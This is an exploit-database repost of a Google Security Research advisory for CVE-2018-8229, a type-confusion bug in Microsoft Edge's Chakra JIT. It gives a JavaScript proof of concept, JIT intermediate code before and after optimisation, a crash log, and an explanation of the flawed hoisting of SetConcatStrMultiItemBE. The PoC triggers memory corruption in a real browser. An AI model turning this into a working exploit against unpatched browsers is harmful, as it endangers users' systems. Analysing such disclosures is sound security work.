Microsoft Edge Chakra JIT - Type Confusion with Hoisted SetConcatStrMultiItemBE Instructions



EKU-ID: 48938 CVE: CVE-2018-8229 OSVDB-ID:
Author: Google Security Research Published: 2018-07-12 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
Here's a PoC:
*/

function opt(str) {
    for (let i = 0; i < 200; i++) {
        let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
    }
}

opt('x');
opt(0x1234);

/*
Here's the IR code of the PoC before the global optimization phase:
---------
                       FunctionEntry                                          #
    s18.u64         =  ArgIn_A        prm1<32>.var                            #
    s9.var          =  LdSlot         s32(s18l[53]).var                       #
    s7.var          =  LdSlot         s20(s18l[51]).var                       #
    s8.var          =  LdSlot         s19(s18l[52]).var                       #
    s1[Object].var  =  Ld_A           0x7FFFF47A0000 (GlobalObject)[Object].var #
    s2.var          =  LdC_A_I4       0 (0x0).i32                             #
    s3.var          =  LdC_A_I4       200 (0xC8).i32                          #
    s4.var          =  LdC_A_I4       1 (0x1).i32                             #
    s5[String].var  =  LdStr          0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
    s6[String].var  =  LdStr          0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
    s17.var         =  InitLoopBodyCount                                      #0009
---------
$L1: >>>>>>>>>>>>>  LOOP TOP  >>>>>>>>>>>>>       Implicit call: no           #000b


  Line   2: i < 200; i++) {
  Col   21: ^
                       StatementBoundary  #1                                  #000b
    s17.i32         =  IncrLoopBodyCount  s17.i32                             #000b
                       BrLt_A         $L3, s8.var, s3.var                     #000b
                       Br             $L2                                     #0010
---------
$L3:                                                                          #0013


  Line   3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
  Col    9: ^
                       StatementBoundary  #2                                  #0013
    s13.var         =  Ld_A           s7.var                                  #0013
                       CheckFixedFld  s21(s13->charCodeAt)<0,m~=,+-,s?,s?>.var #0016  Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck)
    s12[ffunc][Object].var = Ld_A     0x7FFFF47972C0 (FunctionObject).var     #
    s22.var         =  StartCall      2 (0x2).i32                             #001a
    s36.var         =  BytecodeArgOutCapture  s13.var                         #001d
    s24[String].var =  Conv_PrimStr   s5.var                                  #0020
    s25[String].var =  Conv_PrimStr   s7.var                                  #0020
    s26[String].var =  Conv_PrimStr   s6.var                                  #0020
                       ByteCodeUses   s7                                      #0020
    s27.var         =  SetConcatStrMultiItemBE  s24[String].var               #0020
    s28.var         =  SetConcatStrMultiItemBE  s25[String].var, s27.var      #0020
    s29.var         =  SetConcatStrMultiItemBE  s26[String].var, s28.var      #0020
    s14[String].var =  NewConcatStrMultiBE  3 (0x3).u32, s29.var              #0020
    s35.var         =  BytecodeArgOutCapture  s14.var                         #0025
    arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized  0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var #0028
    arg1(s23)<0>.var = ArgOut_A       s36.var, s22.var                        #0028
    arg2(s30)<8>.var = ArgOut_A       s35.var, arg1(s23)<0>.var               #0028
                       ByteCodeUses   s12                                     #0028
    s31[CanBeTaggedValue_Int_Number].var = CallDirect  String_CharCodeAt.u64, arg1(s34)<0>.u64 #0028
    s9.var          =  Ld_A           s31.var                                 #0032


  Line   2: i++) {
  Col   30: ^
                       StatementBoundary  #3                                  #0035
    s8.var          =  Incr_A         s8.var                                  #0035
                       Br             $L1                                     #0038
---------
$L2:                                                                          #003d


  Line   5: }
  Col    1: ^
                       StatementBoundary  #4                                  #0038
    s16.i64         =  Ld_I4          61 (0x3D).i64                           #003d
    s19(s18l[52]).var = StSlot        s8.var                                  #003e
    s32(s18l[53]).var = StSlot        s9.var                                  #003e
                       StLoopBodyCount  s17.i32                               #003e
                       Ret            s16.i64                                 #003e
----------------------------------------------------------------------------------------

After the global optimization phase:
---------
    FunctionEntry                                          #
    s18.u64         =  ArgIn_A        prm1<32>.var!                           #
    s9[LikelyCanBeTaggedValue_Int].var = LdSlot  s32(s18l[53])[LikelyCanBeTaggedValue_Int].var! #
    s7<s44>[LikelyCanBeTaggedValue_String].var = LdSlot  s20(s18l[51])[LikelyCanBeTaggedValue_String].var! #
    s8[LikelyCanBeTaggedValue_Int].var = LdSlot  s19(s18l[52])[LikelyCanBeTaggedValue_Int].var! #
    s5[String].var  =  LdStr          0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
    s6[String].var  =  LdStr          0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
    s17.var         =  InitLoopBodyCount                                      #0009
    s42(s8).i32     =  FromVar        s8[LikelyCanBeTaggedValue_Int].var      #      Bailout: #000b (BailOutIntOnly)
    s27.var         =  SetConcatStrMultiItemBE  s5[String].var                #0020
    s49[String].var =  Conv_PrimStr   s7<s44>[String].var                     #
    s28.var         =  SetConcatStrMultiItemBE  s49[String].var!, s27.var!    #0020
    s29.var         =  SetConcatStrMultiItemBE  s6[String].var, s28.var!      #0020
    s14[String].var =  NewConcatStrMultiBE  3 (0x3).u32, s29.var!             #0020
                       BailTarget                                             #      Bailout: #000b (BailOutShared)
---------
$L1: >>>>>>>>>>>>>  LOOP TOP  >>>>>>>>>>>>>       Implicit call: no           #000b


  Line   2: i < 200; i++) {
  Col   21: ^
                       StatementBoundary  #1                                  #000b
    s17.i32         =  IncrLoopBodyCount  s17.i32!                            #000b
                       BrGe_I4        $L2, s42(s8).i32, 200 (0xC8).i32        #000b


  Line   3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
  Col    9: ^
                       StatementBoundary  #2                                  #0013
                       CheckFixedFld  s43(s7<s44>[LikelyCanBeTaggedValue_String]->charCodeAt)<0,m~=,++,s44!,s45+,{charCodeAt(0)~=}>.var! #0016  Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck)
    s22.var         =  StartCall      2 (0x2).i32                             #001a
    arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized  0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var! #0028
    arg1(s23)<0>.var = ArgOut_A       s7<s44>[String].var, s22.var!           #0028
    arg2(s30)<8>.var = ArgOut_A       s14[String].var, arg1(s23)<0>.var!      #0028
    s31[CanBeTaggedValue_Int_Number].var = CallDirect  String_CharCodeAt.u64, arg1(s34)<0>.u64! #0028  Bailout: #0032 (BailOutOnImplicitCalls)
    s9[CanBeTaggedValue_Int_Number].var = Ld_A  s31[CanBeTaggedValue_Int_Number].var! #0032


  Line   2: i++) {
  Col   30: ^
                       StatementBoundary  #3                                  #0035
    s42(s8).i32     =  Add_I4         s42(s8).i32!, 1 (0x1).i32               #0035
                       Br             $L1                                     #0038
---------
$L2:                                                                          #003d


  Line   5: }
  Col    1: ^
                       StatementBoundary  #4                                  #003d
    s8[CanBeTaggedValue_Int].var = ToVar  s42(s8).i32!                        #003e
    s19(s18l[52])[CanBeTaggedValue_Int].var! = StSlot  s8[CanBeTaggedValue_Int].var! #003e
    s32(s18l[53])[LikelyCanBeTaggedValue_Int_Number].var! = StSlot  s9[LikelyCanBeTaggedValue_Int_Number].var! #003e
                       StLoopBodyCount  s17.i32!                              #003e
                       Ret            61 (0x3D).i32                           #003e
----------------------------------------------------------------------------------------

Crash log:
[----------------------------------registers-----------------------------------]
RAX: 0x1000000001234
RBX: 0x7ffff47c5ff4 --> 0x31 ('1')
RCX: 0x7ff7f4600000 --> 0x0
RDX: 0x0
RSI: 0x80000001 --> 0x0
RDI: 0x1000000001234
RBP: 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 --> 0x7fffffff48b0 (--> ...)
RSP: 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234
RIP: 0x7ff7f385017a (cmp    QWORD PTR [rax],r10)
R8 : 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push   rbp)
R9 : 0x7ff7f4600000 --> 0x0
R10: 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push   rbp)
R11: 0x7ffff47b9080 --> 0x55555cfa0f18 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>:  push   rbp)
R12: 0x0
R13: 0x7ffff47b36b0 --> 0x55555cfbee70 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>:  push   rbp)
R14: 0x0
R15: 0x1000000001234
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ff7f385016e:  mov    BYTE PTR [rcx+rax*1],0x1
   0x7ff7f3850172:  mov    rax,QWORD PTR [rbp-0x10]
   0x7ff7f3850176:  mov    r10,QWORD PTR [rbp-0x18]
=> 0x7ff7f385017a:  cmp    QWORD PTR [rax],r10
   0x7ff7f385017d:  je     0x7ff7f385037c
   0x7ff7f3850183:  mov    rcx,rax
   0x7ff7f3850186:  mov    QWORD PTR [rbp-0x18],rcx
   0x7ff7f385018a:  mov    eax,DWORD PTR [rcx+0x18]
[------------------------------------stack-------------------------------------]
0000| 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234
0008| 0x7ffffffef348 --> 0x7ffff471c1e0 --> 0x55555cf48850 --> 0x555556c17100 (<Js::FunctionBody::Finalize(bool)>:  push   rbp)
0016| 0x7ffffffef350 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708
0024| 0x7ffffffef358 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708
0032| 0x7ffffffef360 --> 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 (--> ...)
0040| 0x7ffffffef368 --> 0x555556c40b8b (<Js::CompactCounters<Js::FunctionBody, Js::FunctionBody::CounterFields>::Get(Js::FunctionBody::CounterFields) const+139>:  movzx  ecx,BYTE PTR [rbp-0x22])
0048| 0x7ffffffef370 --> 0x7ffff47a4238 --> 0x7ffff47c5fe0 --> 0x7ffff4796a40 --> 0x55555cf4df58 --> 0x555556cb7a20 (<JsUtil::List<Js::LoopEntryPointInfo*, Memory::Recycler, false, Js::CopyRemovePolicy, DefaultComparer>::IsReadOnly() const>:   push   rbp)
0056| 0x7ffffffef378 --> 0x7ffffffef4a0 --> 0x7ffffffef4c0 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 (--> ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ff7f385017a in ?? ()


Background:
Invariant operations like SetConcatStrMultiItemBE in a loop can be hoisted to the landing pad of the loop to avoid performing the same operation multiple times. When Chakra hoists a SetConcatStrMultiItemBE instruction, it creates a new Conv_PrimStr instruction to ensure the type of the Src1 of the SetConcatStrMultiItemBE instruction to be String and inserts it right before the SetConcatStrMultiItemBE instruction.

What happens here is:
1. The CheckFixedFld instruction ensures the type of s7 to be String.
2. Chakra judges that the CheckFixedFld instruction can't be hoisted in the case. It remains in the loop.
3. Chakra judges that the SetConcatStrMultiItemBE instructions can be hoisted. It hoists them along with a newly created Conv_PrimStr instruction, but without invalidating the type of s7 (String).
4. So the "s49[String].var =  Conv_PrimStr   s7<s44>[String].var" instruction is inserted into the landing pad. Since s7 is already assumed to be of String, the instruction will have no effects at all.
5. No type check will be performed. It will result in type confusion.
*/